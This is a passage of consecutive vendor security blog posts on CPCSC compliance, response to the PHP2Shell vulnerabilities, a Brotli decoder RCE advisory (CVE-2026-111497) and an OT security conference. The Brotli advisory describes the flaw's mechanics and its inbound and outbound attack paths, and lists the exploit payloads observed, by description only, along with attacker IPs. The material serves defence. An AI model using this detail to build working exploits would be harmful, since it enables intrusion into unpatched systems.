requirements, most suppliers look for the quickest way to check the box. Many suppliers can do this with technology they already own in their inventory: a firewall at the perimeter, a VPN for remote access, antivirus software, and multifactor authentication on the landing page. For a self-assessment, this reads as compliant. While each of these controls is technically compliant and satisfied, bad actors are skilled at exploiting exactly the gaps that remain. Flat networks. A VPN connects remote engineers and subcontractors to the whole network, not just the systems they need. One stolen credential becomes a path for lateral movement to vulnerable information. Exposed edge devices. Internet-facing VPN concentrators and firewalls are among the most frequently exploited systems in Cyber Centre alerts.Unmanaged devices. Partners and contractors reach sensitive systems from laptops the supplier doesn’t control.Point-in-time evidence. Even where controls exist, pulling together proof for an assessor takes weeks. A self-assessment captures how controls were configured on one day; it says little about whether they were consistently enforced for the rest of the year. Why stronger controls now pay off at Levels 2 and 3These check boxes don’t just leave risks in place; they create rework. They are shortcuts. Level 2 is a third-party independent assessment against the broad ITSP. 10.171 requirement set. Auditors will look for controls that are enforced consistently and are defensible, such as least privilege, session controls, audit logs, and protection of data in transit.Level 3 includes enhanced requirements aligned to NIST 800-171 that protect against bad actors, including stronger isolation of systems that hold specified information and continuous monitoring. A perimeter and VPN design built to only pass Level 1, more often than not, has to be rebuilt to meet them. Controls built on zero trust principles take the opposite approach; access is granted per application based on identity, device posture, and context. Applications have no exposed attack surface, traffic is inspected inline, and every decision is logged centrally. Those same controls satisfy Level 1 today and really become the foundation that Level 2 and Level 3 assessments build on. The goal isn’t just to pass Level 1, but to meet it once, in a way you won’t have to undo. This approach saves both cost and time down the road. How Zscaler supports CPCSCNo product is “CPCSC certified.” Only the supplier is assessed. The platform must be capable of enforcing controls and providing the necessary evidence for the self-assessment and upcoming Level 2 evaluation. Zscaler’s Zero Trust Exchange directly covers 10 out of the 13 Level 1 controls and also backs up five additional controls. As organizations consider both Level 1 and higher levels of maturity, moving to a true zero trust technology foundation will provide adaptable controls that position organizations to demonstrate higher levels of compliance.Level 1 controlExamples of How Zscaler Contributes to CPCSC Level 1Access Enforcement Zscaler performs as a Zero Trust Policy Enforcement Point that connects users to specific applications, never to the network, based on identity and aggregated policy.Boundary Protection Applications sit behind the Zero Trust Exchange with no inbound listening ports, removing the exposed VPN from the attack surface.Malicious Code Protection Zscaler Internet Access (ZIA) inspects traffic inline, including encrypted traffic, with advanced threat protection and cloud sandboxing.Device Identification & Authentication Zscaler has over 40 device posture checks that it can verify before granting access to the supplier’s resources.Use of External Systems Posture policies and browser isolation let unmanaged devices reach approved apps without data landing on the device.Account Management, Identification, and MFA Integration with the supplier’s identity provider enforces authentication and MFA before any application is reachable.Publicly Accessible Content Inline data loss prevention stops specified information from being posted to public sites.Flaw Remediation Zscaler provides value for flaw remediation by blocking exploit delivery paths, restricting access based on device posture, and reducing network exposure.The remaining three Level 1 controls, e.g. media sanitization and two physical-security controls, stay with the supplier.One platform, Multiple Compliance Programs, Endless Supportability Since ITSP.10.171 mirrors NIST SP 800-171, DND suppliers can leverage the same Zero Trust Architecture to monitor, enforce, and log access to support their CPCSC program, along with other Canadian Public Sector requirements. This reduces investment and maintenance costs and enables suppliers to set up controls once and show evidence for multiple programs, instead of managing multiple technologies to secure multiple programs. Ready for Level 2, on Day OneLevel 1 leverages a self-assessment, but Level 2 will require more formal assessment. As assessors arrive in 2027, suppliers will need to show how controls are consistently enforced, not just configured. Centralized management, enforcement policy, and logging across every user, device, and application provide suppliers with a single platform with evidence built in. A robust Zero Trust Architecture will ease this transition. Getting startedIdentify which current or upcoming DND contracts involve specified information.Map how remote users, subcontractors, and partners reach systems that hold specified information today.Replace network-level access with Zero Trust Network Access for those users first.Align your platform configuration with the required CPCSC evidence, so that one set of controls serves more than one program.CPCSC requirements can appear in defence contracts this year. The suppliers who start now will treat Level 2 as a formality. To learn how Zscaler can help, contact our team or visit the Zscaler Compliance Center.ReferencesPSPC – Canadian Program for Cyber Security Certification: Level 1 (April 2026)Canadian Centre for Cyber SecurityPilotcore – CPCSC for Canadian Defence Suppliers

PHP2Shell and the Limits of Patching: A SecOps Playbook for Layered Response

Chris McManus (Senior Product Marketing Manager) — Thu, 29 Oct 2026 16:27:39 GMT

Last week’s disclosure of two critical remote code execution (RCE) vulnerabilities in PHP (CVE-2026-109618 and CVE-2026-109619) created an immediate and widespread fire drill among security response teams. Carrying a CVSS v4.0 score of 9.2 and affecting every PHP version released in the last decade (back to PHP 5.4), these flaws let an unauthenticated attacker execute shell commands directly on a vulnerable server. With PHP powering approximately 70% of websites whose server-side language is known, the blast radius is enormous.In recent days, Zscaler ThreatLabz has monitored industry response, exploit attempts, and remediation trends in an effort to help customers swiftly reduce their exposure while protecting business operations. This post captures exploitation attempts observed in the wild and a summary of remediation status from around the security industry in the immediate aftermath of one of the most impactful vulnerability disclosures in years.Three observations stand out:Speed of exploitation. Attackers are working quickly, and they started before most security teams even knew about their exposure.Prioritization must be automatic. You can't patch everything right away – you need to know which assets to focus on first, and you shouldn't need to hunt for them.Compensating controls are essential. Not every critical exposure is patchable in a shortened timetable. Security teams need other options to mitigate risk quickly. Exploitation Attempts Observed by Zscaler ThreatLabzThe speed at which attackers mobilized against PHP2Shell was notable but not surprising, given the role of AI in adversarial activity today. Within hours of the October 21 disclosure, scanning and exploitation attempts surged, with some activity predating the public announcement entirely.The first 96 hours – by the numbersLooking at global telemetry captured across Zscaler Deception's internet-facing decoys worldwide, we found a rapid escalation of PHP2Shell exploit activity in real time:Total exploitation attempts3,038Unique attacker IPs248Organizations targeted137First detection4 hours before public disclosureDuring the first 48 hours of disclosure, ThreatLabz focused on the micro-level payload analysis—analyzing 187 specific events across 23 high-priority IPs that delivered weaponized PHP object injections, memory corruptions, and web shells. By the 96-hour mark, this activity surged to a macro-level 3,038 scanning and exploit attempts from 248 unique IPs.Key takeaway: Attackers moved before the formal publication of the disclosure. Organizations that rely solely on patch-on-release workflows were exposed before they could act. Remediation StatusPHP released fixed versions on October 21: PHP 8.5.12, 8.4.27, 8.3.36, and 8.2.35. But patching at the scale PHP demands is a fundamentally different challenge than patching a single application.Patching is happening, slowlyIndustry telemetry reveals a remediation picture that is encouraging but far from complete.Qualys analysis found that only 199,000 of approximately 156 million PHP installations were patched within the first 12 hours after disclosure, a fraction of 1%.OX Security produced a similar analysis, showing 99.3% of PHP instances unpatched after 24 hours. Even five days after disclosure, nearly 94% of instances remained unpatched.It should be noted that these statistics omit important qualifiers, including how many instances were on internet-exposed assets or crown-jewel assets.Due to extensive news coverage, it’s safe to assume the industry has full awareness of the risk associated with these vulnerabilities. The early statistics indicate another challenge we already understand: organizations cannot patch their way out of widespread exposure.The long tail of “unpatchable” PHPTo further complicate the remediation challenge, a significant number of PHP installations cannot be patched at all. About a third of PHP sites run PHP 7 or older, branches with no official PHP2Shell fix. Approximately 2.24 million internet-facing hosts advertise PHP, and 59% of those that report a version are running a PHP branch with no official security release.PHP 8.2 itself loses security support on December 31, 2026. Patching 8.2 buys time, not permanent protection. Key takeaway: The reality of enterprise PHP estates means millions of installations will remain vulnerable for weeks or months if remediation is dependent solely on patching. Security teams need layered risk reduction strategies that go beyond patching. Reduce Risk with Compensating ControlsSecurity teams must act on what they can control right now, layering practical compensating controls that meaningfully shrink the attack surface while patches roll out. Apply these measures in the following priority order.Remove PHP applications from the internetThe most effective risk reduction is the simplest: if a PHP application does not need to be directly reachable from the internet, take it off or put a WAF in front of it. Every PHP2Shell exploit path begins with an attacker sending a crafted HTTP request to a PHP worker. Eliminating that inbound path eliminates the risk entirely – no signature tuning, no configuration changes, no residual exposure.Prioritize EOL systems. Unsupported PHP versions (8.1 and older) cannot be patched and must be isolated or retired immediately.Audit supported installations. Move internal tools and admin panels behind zero trust access to eliminate unnecessary internet exposure.Protect public applications. Ensure public-facing sites are patched or protected with compensating controls such as WAF.Deactivate non-critical services with known exposureNot every PHP application running in your environment is critical to the business. PHP2Shell is a compelling reason to finally answer the question many organizations have deferred: "Do we still need this running?"Identify decommission candidates. Retire unused admin interfaces, staging instances, and legacy tools, which often run unsupported PHP and lack active monitoring.Suspend what you cannot retire. Temporarily disable non-critical services as you implement a permanent fix to eliminate attack vectors.Track remaining services. Assign owners, document patch status, and set target remediation dates for active services. Track progress in your exposure management solution with dedicated PHP remediation dashboards.Apply virtual patching for private applicationsMany high-risk PHP applications are private, internal systems rather than public websites. Admin consoles, ERP front-ends, and wikis are often difficult to patch quickly due to custom code, complex dependencies, and a lack of deployment automation.Virtual patching protects these applications at the network layer without modifying application code or the PHP runtime. An AI engine evaluates the application, dynamically generates targeted exploit signatures, and deploys them at an inline enforcement point (e.g., an application connector or gateway) to block malicious PHP2Shell requests before they reach the server.This approach has several advantages for PHP2Shell specifically:Application-aware precision. Context-aware rules minimize false positives and catch exploit variants missed by generic WAF rules.No-touch deployment. Applied at the gateway layer without code changes or restarts, making it ideal for legacy or unsupported PHP versions.Continuous, autonomous updates. The AI engine detects emerging payload variants and deploys updated signatures automatically without manual intervention.Scales across the application estate. Provides immediate baseline protection across large private estates, transforming emergency patching into a manageable process.Key takeaway: Compensating controls are not a substitute for patching, but they are essential for the reality of enterprise PHP estates. Remove what you can from the internet, retire what you do not need, lock down what remains, and deploy virtual patching to protect what you cannot patch yet. How Zscaler Agentic SecOps Can HelpPHP2Shell is a textbook case for why modern security operations need to go beyond "find it and patch it." The Zscaler Agentic SecOps portfolio can help security teams respond to PHP2Shell – and to the next critical vulnerability that follows it – with the following capabilities:Zscaler Exposure ManagementExposure Management surfaces PHP risk across your environment and enables a complete find-prioritize-fix-verify workflow:Understand PHP risk. Combine native EASM discovery of impacted assets with third-party sources across your environment to understand PHP risk holistically.Prioritize high-risk exposures. Identify internet-facing and crown-jewel assets, group and assign tickets to the rightful owners for remediation.Prescribe the fix. Generate and share AI-powered fix instructions with ZAgent, then rescan targeted assets to confirm the fix is in place.Mitigate risk from EOL assets. Create compliance policies for end-of-life PHP versions, report on compliance with pre-built dashboards, and auto-assign critical violations for unpatchable assets.Zscaler DeceptionDeception detects exploitation attempts with high-fidelity decoys that mimic the applications attackers are actively targeting:Application-specific decoys. Deploy Threat Intel decoys for the applications being targeted with PHP2Shell exploits: WordPress Login, Drupal Admin Panel, Joomla Admin Panel, phpMyAdmin, and Nextcloud. These decoys will detect any PHP2Shell exploitation activity against them and provide a high fidelity alert. Automated IP blocking. By integrating decoy telemetry with downstream orchestrations, you can dynamically capture and block attacker IPs on your perimeter firewalls. This compensatory control requires very little operational effort and significantly reduces risk by neutralizing active, local threat actors instead of struggling to block generic, static IP lists.For Deception customers, when a major CVE is disclosed, Zscaler pushes updated vulnerable application datasets (CVE datasets) directly to your tenant, allowing you to deploy realistic, simulated targets in minutes. When an attacker attempts to exploit one of these decoys, our ThreatParse engine automatically reconstructs the attack log, maps it to the MITRE ATT&CK framework, and tags the alert with the specific CVE ID.Zscaler Managed Detection & Response (MDR)For organizations that need to augment their security teams, Zscaler MDR provides 24x7 expert monitoring, proactive threat hunting, and hands-on response so that exploitation and post-exploitation activity doesn't go unnoticed while patches roll out.Always-on monitoring. Zscaler MDR analysts monitor your environment 24x7x365, investigating suspicious activity in real time. For a vulnerability like PHP2Shell, this means continuous surveillance for signs of exploitation. AI agents work alongside human analysts to accelerate the path from alert to action.Proactive threat hunting. MDR doesn't wait for alerts. Our threat hunters proactively seek indicators of compromise and attacker tradecraft tied to active campaigns like PHP2Shell. When a hunt finds something, they check to ensure our analytics catch it and any new discoveries get engineered into detections, so all customers are protected.RCE detection. Detection rules tuned for suspicious remote code execution activity, including Linux web servers spawning suspicious commands and web servers creating inline PHP scripts or spawning reconnaissance commands.Active remediation. When a threat is confirmed, Zscaler MDR can implement containment and remediation actions to neutralize threats before they spread. This includes isolating compromised hosts, blocking malicious processes, and coordinating with your internal teams to restore safe operations. Versatile Risk Reduction is Now a NecessityThere is no one magic bullet to address the risks of PHP2Shell. Yes, patching is the only permanent fix, but the data tells us that no security team can patch its way to zero exposure on a timeline that matches real threats. Most organizations are still yet to patch all internet-exposed PHP assets. A third of the PHP estate runs on EOL versions that will never receive an official fix. Attackers started probing four days before disclosure and were already attempting to exploit millions of targets within hours of the announcement. The math does not work in the defender's favor.The more integrated your security program, the more options you’ll have available for rapid response. Start with this checklist:✓ Maintain a real-time inventory of all assets, including internet-exposure✓ Maintain business context such as criticality and business services associated with each asset✓ Understand which 50 assets must be patched out of thousands of potentially impacted✓ Deploy virtual patching to shield applications you cannot update✓ Layer Deception to catch and contain attackers who find a gap✓ Integrate alert monitoring with exposure management to catch suspicious activity that began prior to protectionsEach layer of defense compensates for the limitations of the others, and together they buy the time your teams need to systematically reduce critical exposure in hours, and long tail exposure in days rather than months.PHP2Shell is not the last disclosure of this kind. Frontier AI models will uncover high-impact vulnerabilities and exploit chains that require rapid response. Security teams that treat PHP2Shell as an isolated fire drill will find themselves repeating the same scramble. The organizations that use this moment to build the muscles for exposure visibility, compensating-control playbooks, virtual patching infrastructure, and detection and response readiness will be the ones who are prepared when the next AI-fueled disclosure arrives. And it will arrive.To learn more about how to protect your organization from PHP2Shell, watch the Zscaler Rapid Response Briefing for Securing PHP.Contributors: Keith Do, Carol Caley

CVE-2026-111497: Node2Shell / HTTP2Shell Vulnerability May Allow RCE

Atinderpal Singh (Senior Manager, Threat Research) — Wed, 28 Oct 2026 16:11:02 GMT

IntroductionOn October 21, 2026, the Node.js project disclosed CVE-2026-111497, an out-of-bounds write vulnerability in Google’s Brotli decoder used by Node.js and other software. The vulnerability is also known as Node2Shell and more recently as HTTP2Shell. The CVE score, filed by Google as the numbering authority, is 9.2 (Critical) on CVSS 4.0. The flaw can be triggered when a vulnerable process decompresses attacker-controlled Brotli data. Successful exploitation may result in process crashes, disclosure of process memory, or remote code execution (RCE). Imperva reported demonstrating code execution in fresh containers running the official Node.js 24.22.0 Linux arm64 image, with multiple attempts required in its test environment. The vulnerable Brotli decoder may be present in a range of runtimes, libraries, and software packages, including Node.js, Bun, Python Brotli bindings, .NET, Envoy Proxy, Istio, Java brotli4j, libbrotli, curl/libcurl through Brotli dependencies, and Linux distribution packages. Applications may be exposed if they decompress attacker-controlled data using a vulnerable decoder. The vulnerability may be reachable through both inbound and outbound traffic paths. A malicious client could send a crafted request with Content-Encoding: br to a vulnerable server-side component that performs Brotli request decompression. Conversely, a malicious or compromised server could return a crafted Brotli-compressed response to a vulnerable client application that automatically decodes Brotli responses. ThreatLabz has observed reconnaissance and exploitation attempts targeting this vulnerability through Zscaler Deception, as detailed in the ThreatLabz Observations section below. RecommendationsZscaler recommends the following measures to address CVE-2026-111497 and monitor for potentially related activity:Patch vulnerable runtimes and libraries. Upgrade vulnerable runtimes, packages, and infrastructure components to the patched versions listed in the Vulnerable Versions table. Prioritize services that decompress untrusted Brotli data, including internet-facing applications that accept compressed request bodies and services that fetch content from external or user-controlled URLs. Validate each vulnerable component independently. Updating the system-wide libbrotli package may not remediate applications that statically bundle Brotli or ship their own decoder copy.Rebuild and redeploy containers. Use patched base images, runtimes, and libraries, and verify the versions in running workloads. Updating a host’s libraries does not update copies bundled within container images.Disable Brotli decoding where patching is delayed. If immediate patching is not possible, disable Brotli decompression on vulnerable paths where supported, following vendor guidance and testing for application compatibility.Monitor for exploitation and post-exploitation behavior. Investigate the following: Unexpected process crashes in Node.js, Bun, Python, .NET, Envoy Proxy, or service mesh workloads.Repeated malformed Brotli payloads.Requests containing Content-Encoding: br to endpoints that normally do not receive compressed request bodies.Abnormal memory access violations or segmentation faults.Web server or application worker crashes after compressed request handling.Unexpected child processes spawned by web application runtimes.Unexpected outbound connections following crashes or the processing of malformed compressed input. Vulnerable VersionsThe following table lists vulnerable versions and corresponding fixes for selected software that incorporates the Brotli decoder. ProductVulnerable VersionsPatched VersionsGoogle Brotli1.0.3 < 1.0.10 (semver)1.0.10Google Brotli1.1.0 < 1.1.1 (semver)1.1.1Google Brotli1.2.0 < 1.2.1 (semver)1.2.1Node.js22.0.0 - 22.23.322.23.4Node.js24.0.0 - 24.22.024.22.1Node.js26.0.0 - 26.12.026.12.1Bun< 1.4.41.4.4.NET8.0.0 - 8.0.328.0.33.NET9.0.0 - 9.0.219.0.22.NET10.0.0 - 10.0.1310.0.14.NET11.0.0-preview.1 - 11.0.0-rc.211.0.0-rc.3.26522.148Python Brotli (PyPI)1.2.01.2.1Python brotlicffi (PyPI)1.2.0.0 - 1.2.0.21.2.1.0Envoy Proxy1.39.2, 1.38.5, 1.37.7, 1.36.111.40.0, 1.39.3, 1.38.6, 1.37.8, 1.36.12Java brotli4j< 1.24.01.24.0libbrotli (Debian)1.1.0-21.1.0-2+deb13u1libbrotliVaries by distributionApply vendor security updatesTable 1: Software versions vulnerable to CVE-2026-111497 and the corresponding patched versions. ThreatLabz ObservationsThreatLabz observed reconnaissance and exploitation attempts involving CVE-2026-111497 through Zscaler Deception. Within the first 24 hours following public disclosure, Zscaler Deception’s global decoy mesh observed activity from 20 source IP addresses targeting 12 customers across 402 events. Of these events, 40% involved reconnaissance and 60% involved exploitation attempts. The table below summarizes the unique payloads associated with reconnaissance and exploitation attempts targeting CVE-2026-111497 observed through Zscaler Deception.Payload DescriptionJA4 FingerprintMalformed Brotli stream headers + valid Brotli differential check + Node.js path recont13d4312h1_c7886603b240_b26ce05bbdd6Truncated JSON Brotli + 8-byte invalid Brotli padding stream + uncompressed controlsNone22-byte & 23-byte invalid block-switch OOB-write seeds (CVE-2026-111497)t13d251100_b78ed14e2fd0_ab7e3b40a677Brotli decompression bomb / Celery stream probe + 1B controlsNoneAssetnote 1-byte malformed/valid Brotli differential checkMultiple observed3-stage Node2Shell capability, Strapi & CVE-2026-111497 JSON parser probet13d521100_b262b3658495_8e6e362c5eac14-byte Brotli {"ping":1} differential sweept13d1714h1_ab0a1bf427ad_5e078a691127Table 2: Unique payloads observed during reconnaissance and exploitation attempts targeting CVE-2026-111497. How It WorksBrotli is a lossless compression algorithm and data format developed by Google. It is used for HTTP compression to reduce the size of web content such as HTML, CSS, JavaScript, JSON, and API responses. Brotli-encoded HTTP content is identified by the Content-Encoding: br header.Applications may use Brotli directly or through dependencies such as runtimes, frameworks, HTTP clients, and middleware. In some configurations, these components automatically decompress Brotli-encoded content without application code explicitly calling Brotli APIs.Vulnerability detailsThe flaw occurs in Brotli’s block-decoding logic. When a stream changes block type, the decoder determines the next block type and length. In vulnerable versions, there is a macro (in the fast-path logic) that does not properly check the return value of the DecodeBlockTypeAndLength function, which can cause the decoder to continue processing an invalid state (e.g., when provided a maliciously crafted Brotli stream). This can lead to an out-of-bounds write and be used as a primitive for RCE. The upstream fix modifies the decoder so malformed block-switch conditions return a distinct error that is propagated to the caller, stopping further decoding of the malicious Brotli stream.Attack chainExploitation of CVE-2026-111497 may follow either an inbound or outbound path, depending on where Brotli decompression occurs, as shown in the figure below. Inbound attempts use crafted Brotli-compressed HTTP request bodies while outbound attempts use crafted responses returned by an attacker-controlled or compromised server. These responses may be consumed through fetch(), webhook delivery, URL previews, crawlers or scrapers, and API integrations. In either path, exploitation requires attacker-controlled Brotli data to reach a vulnerable decoder, with compressed HTTP content marked by Content-Encoding: br. Figure 1: Potential inbound and outbound exploitation paths for CVE-2026-111497. ConclusionCVE-2026-111497 affects the Brotli decoder used by Node.js and other software. Exposure depends on whether an application passes attacker-controlled Brotli data to a vulnerable decoder. Organizations should identify vulnerable components and apply corresponding vendor updates, including updates for applications that bundle their own copy of Brotli.Zscaler Deception has observed active reconnaissance and exploitation attempts involving this vulnerability. ThreatLabz will continue monitoring for related activity and provide updates as additional findings become available. Zscaler CoverageThe Zscaler ThreatLabz team has deployed protections for CVE-2026-111497 with the following signatures:Zscaler Private Access (ZPA) App ProtectionThe following ZPA App Protection signature detects attempts to exploit CVE-2026-111497 in internal applications accessed through ZPA, including activity originating from compromised endpoints or insiders:6000572: Node2Shell - Brotli Decoder Buffer Overflow (CVE-2026-111497)Zscaler Advanced Threat ProtectionApp.Exploit.CVE-2026-111497Zscaler Deception Organizations should deploy the following Zscaler Deception decoys to help detect reconnaissance and exploitation attempts:MLflowMetaflowBento FrontendRay ServeGitLab How Zscaler Can HelpThe following table shows the typical attack stages and the mitigations recommended by Zscaler.Attack StageRecommended MitigationMinimize the external attack surfaceIdentify internet-facing applications containing vulnerable versions using Zscaler Exposure Management.Find services running vulnerable runtimes or libraries.Reduce direct exposure by placing applications behind a Zero Trust architecture.Prevent compromiseEnable SSL/TLS inspection where appropriate. Use Advanced Threat Protection to detect exploit attempts and suspicious payload delivery. Use ZPA App Protection to inspect and block suspicious requests targeting private applications. Reduce outbound exploitation riskRoute server egress through Zscaler Internet Access (ZIA) to inspect outbound traffic.Restrict application egress to approved destinations. Pay special attention to webhook, crawler, URL preview, and third-party integration services that fetch content from external or user-controlled URLs.Prevent lateral threat movementUse ZPA to enforce least-privilege user-to-application segmentation.Use Zscaler Deception to detect attacker movement after initial compromise. Monitor for suspicious access to internal applications following web application crashes or abnormal behavior.Detect post-exploitation activityUse Zscaler Managed Detection & Response (MDR) and Threat Hunting to investigate suspicious process behavior, command execution, unusual outbound connections, container runtime anomalies, and web application worker crashes.Prevent data lossInspect outbound traffic across channels with Zscaler Data Loss Prevention (DLP).Monitor for unusual uploads, archive transfers, credential exposure, or data movement following suspected exploitation. Indicators Of Compromise (IOCs)A list of select source IP addresses is listed in the table below. For additional IP addresses and JA4 fingerprints, please visit our GitHub ThreatLabz repository. Source IP AddressActivity Type49[.]37[.]46[.]99Exploitation34[.]10[.]240[.]142 Exploitation188[.]245[.]184[.]87Exploitation52[.]46[.]50[.]66 Exploitation136[.]111[.]197[.]96Exploitation

Settled on Fundamentals, Stuck on Funding: What We Heard at ManuSec USA 2026

Bryan Ashley (Zero Trust Networking, Principal Architect) — Wed, 28 Oct 2026 01:30:35 GMT

The theme of this year's ManuSec USA in Chicago was "Solidifying OT Security Fundamentals While Building Next-Gen Cyber Resilience." Over two days, the manufacturing security leaders in the room largely agreed on what those fundamentals are: control remote access, know what's on the network, segment what matters, and rehearse an incident response plan with the plant. Nobody we spoke with needed to be sold on that list.What they wanted to talk about was getting it done. Mostly that meant paying for it, and getting the plant to go along with it.Zscaler was this year's official sponsor. Amit Aneja opened day one with a session on agentless OT segmentation and joined the closing panel on prevention versus resilience. The rest of our team spent the event in sessions, at the booth, in customer meetings and at dinners with the people who run plants and the leaders who manage them. After the ICS Cybersecurity Conference earlier this month, we wrote that OT security is strong on controls and light on decisions. ManuSec showed us where a lot of those decisions get stuck. It's usually the budget meeting or the plant floor, and rarely the firewall. How do you get OT security funded?Funding came up more than any technical topic, in sessions and in the hallway. The question was always some version of how to explain OT risk to a CEO, a board or a CFO so that they act on it. On day two, Satish Kumar of Parker Hannifin dedicated a whole session to it, walking through how his team built quantifiable risk metrics across complex OT environments and turned technical vulnerabilities into risk scores a board can use.The CISOs we heard from had different frameworks, but their advice lined up. Pick off small wins instead of trying to fix everything at once. Rank plants by business risk, and be honest about where each one stands today.For us, that points back to discovery, and to a narrower question than most security assessments start with: which assets would hurt most if they failed? A device list doesn't answer it. You need to understand the process loops those devices govern. Which PLCs, safety instrumented systems or engineering workstations sit in a loop where a failure halts the line, triggers a regulatory event or puts a worker in danger? And what does an hour of downtime on each one actually cost?One CISO walked through a scenario in which an attacker takes control of a boiler. At that point the team is running an emergency response, and people's safety is on the line. Some processes carry that weight by default. Food and agriculture, water and healthcare are all designated critical infrastructure sectors, and an unauthorized change to a chemical-dosing controller or the temperature on a food processing line can quickly become a public health problem.Idaho National Laboratory's Virginia Wright made a related case on day one with Cyber-Informed Engineering, whose first principle is consequence-focused design. You begin with the outcomes that would be unacceptable and work backward to the functions that can never fail. Boards respond to that framing because it describes a production line and the people working on it, which is what they're actually being asked to protect. Do you actually know what's on your network?Asset visibility was the problem we heard about most, at the booth and in sessions alike. Even in mature programs running several tools, roughly half the people we talked with couldn't say with confidence that they had a full picture of their network, let alone what each device was talking to. Some put it more bluntly. They don't know what's connected until an incident forces an audit, and they're a little nervous about what that audit will find.One CISO had simple advice for smaller shops with no tooling budget: do it by hand. Walk the floor with your plant operators, because they know where every machine is. A session from Daimler Truck North America covered the same ground at a larger scale, building a baseline OT inventory from scratch with a mix of manual and automated discovery.An inventory is only a starting point. It tells you what's there without changing what any of it can reach. When Eaton first got visibility across its plants, one early find was a game console plugged into the OT network. Most plants probably have something similar waiting to be found. Why does the plant floor push back?This was the biggest surprise of the event. We expected segmentation architecture and detection tooling to dominate, and instead CISOs spent far more time on their relationship with plant floor operators.At the booth, a head of cybersecurity at one manufacturer described the pushback they got when they tried to add controls to legacy production lines. The objection wasn't to the technology. Operations was afraid a security change would break an aging process the plant's daily output depends on, and that fear is reasonable. Security teams that treat it as obstruction tend to lose the argument.Speaker after speaker made the same point about incident response: it only works if the relationship already exists. If a plant operator meets the security team for the first time during an incident, nobody in the room knows that machine's tolerances or which line can safely be touched. A day-two panel raised the structural version of the problem by asking whether accountability for OT security comes with the authority to act. In many plants it doesn't. Security owns the risk, and operations owns the equipment.The fixes people described were practical. Meet with plant staff regularly before you roll anything out, and use the time to learn how they work. Talk in their terms and get to know your counterparts in legal, operations and IT well before an incident. And at least four CISOs we spoke with offered the same tip on their own: bring donuts. Is segmentation still a hard sell?Opinions were split - some practitioners who had held back on microsegmentation were noticeably more open to it, and several are now making it a priority. We heard the opposite just as often, usually from teams who consider a firewall between IT and OT, plus VLANs inside OT, to be enough.The disagreement is worth a closer look. An IT/OT firewall controls what crosses into the plant. It does nothing about a compromised engineering workstation sharing a VLAN with every PLC on the line. Many manufacturers we work with ran flat OT networks for years, and they point to the cost and complexity of traditional approaches as the reason so many segmentation projects stall before they start.The vendor pitches that landed best with network teams were segmentation built on the infrastructure they already own, with no network redesign. That suggests most teams object to the disruption more than to segmentation itself. They'll move once it doesn't mean re-architecting a running plant, and once they can begin with the critical assets they've already identified. Why is remote access still first on the list?Whenever the conversation turned to where to start, remote access came up first or close to it. It's the most common way into a plant and the most achievable early win. The most useful version we heard was a question to ask about every contractor and third party: can they reach one specific host, or do they land on the network around it? Even teams that already own a dedicated remote access tool told us they weren't happy with it.That matches what we see in our own OT workshops and what we heard at ICS. If the secure path is slower than the workaround, people use the workaround.Patching makes the access path matter even more. One session argued that AI will find flaws in PLCs, firmware and engineering tools faster than ever, while a controller running production can't be patched or rebooted on anything like that schedule. Plants will build up a pile of known vulnerabilities they can't fix, and the access path (who can reach an asset, from where, and for how long) becomes the control doing most of the work. We've made a version of this argument before, and we agree. Virtual patching at the boundary helps, but limiting reachability holds up better as the CVE count grows, because you validate each path once instead of each vulnerability. Where did AI land?The reaction was mixed. "AI-driven everything" was all over the show floor, and it drew a crowd. Yet the practitioners we talked to were mostly pulling back from new tools and putting their effort into foundational maturity. One session made the case for AI agents on the shop floor with extra controls around them, and the room wasn't ready for it.People take the threat seriously, and nobody we spoke with still treats AI moving from IT into OT as hypothetical. What they doubt is whether autonomous AI belongs on the plant floor today, and most believe strong fundamentals remain the best defense against it. That was the argument in Amit's session, that architecture beats AI-accelerated attacks, and it's what people wanted to talk about when they came by the booth afterward. What should you do differently on Monday?If you couldn't be in Chicago, here's where we'd start:Name your critical assets and price their downtime in revenue, regulatory exposure and safety. That gives you a priority list and the start of a funding case.Fix your highest-risk remote and third-party access path. Know whether each contractor reaches one host or the network around it.Start the inventory, even by hand. Walk the floor with the people who run it.Meet the plant team before you need them. Then confirm your incident response plan exists, has been tested in a tabletop, and that operators know their part. If any of that is missing, it's your first project.Cut internet exposure. If an asset doesn't need to be reachable from outside, take it off.From there, segment outward from those critical assets one step at a time. Most of this can start without new tooling, and none of it puts safety or uptime at risk. Back to the funding questionEach item on that list still has to clear the budget meeting, and boards want a number. In our on-demand webinar on OT risks in manufacturing, Umang Barman lays out a straightforward way to build it: how often an incident happens, multiplied by how long production stays down, multiplied by what an hour of downtime costs. He focuses on the expensive tail of that range rather than the average. Each of the three terms is a lever you can fund against, and each maps to part of how we approach OT security:Fewer incidents. Privileged Remote Access gives vendors and contractors a brokered, recorded path to a single asset, so the most common way into a plant no longer leads to the network.Shorter disruptions. Deception puts decoys where legitimate users have no reason to go, so an intruder raises an alarm early.Smaller blast radius. Zero Trust Branch puts each OT device in its own network of one without VLAN readdressing or complex ACLs, so one compromised device can't take down a line. Start with the critical assets you've already priced.The same approach covers the devices plant teams carry. Zscaler Cellular connects shop-floor tablets to private applications without a VPN, which surprised more than one IT team we met at the booth.Want to start with your most critical assets? Request an OT architecture workshop.Want the full risk model? Watch the on-demand webinar on OT risks in manufacturing.

What PHP2Shell Teaches Us About Defending Private Apps in the Age of Frontier AI

Joby Menon (SVP, Product Management | Zscaler) — Tue, 27 Oct 2026 15:00:00 GMT

What PHP2Shell Teaches Us About Defending Private Apps in the Age of Frontier AIOn October 20, 2026, two critical memory flaws in PHP were disclosed. Tracked as CVE-2026-109618 and CVE-2026-109619 and dubbed PHP2Shell, these vulnerabilities carry a 9.2 CVSS score from PHP’s maintainers (and a flat 10.0 from researchers at watchTowr) because they let an unauthenticated attacker run shell commands directly on a vulnerable server. At the time of disclosure, 70% of the web’s server-side applications were open to remote takeover.Within hours of disclosure, government portals, ecommerce sites, and other organizations around the world took themselves offline to avoid getting hit.Like other recent vulnerabilities, PHP2Shell draws attention to the shortcomings of enterprise security in the changing threat landscape: our patching workflows were built for human timelines, while attackers are now operating at the speed of frontier AI.Zscaler ThreatLabz report showing the risk score and vulnerabilities identified for PHP2Shell Here is a look at why PHP2Shell moved so fast, why internal enterprise apps and databases are just as exposed as public websites, and how Zscaler Private Access (ZPA) with Autonomous Application Shield gives your team breathing room to patch without shutting down the business. When Frontier AI Finds Vulnerabilities Humans Wrote OffOne of the most striking facts about PHP2Shell is how long the underlying bugs sat in plain sight. The memory safety flaws affected PHP versions all the way back to PHP 5.4, which shipped in 2012. A PHP core developer actually ran across the out-of-memory error behind one of the bugs during a 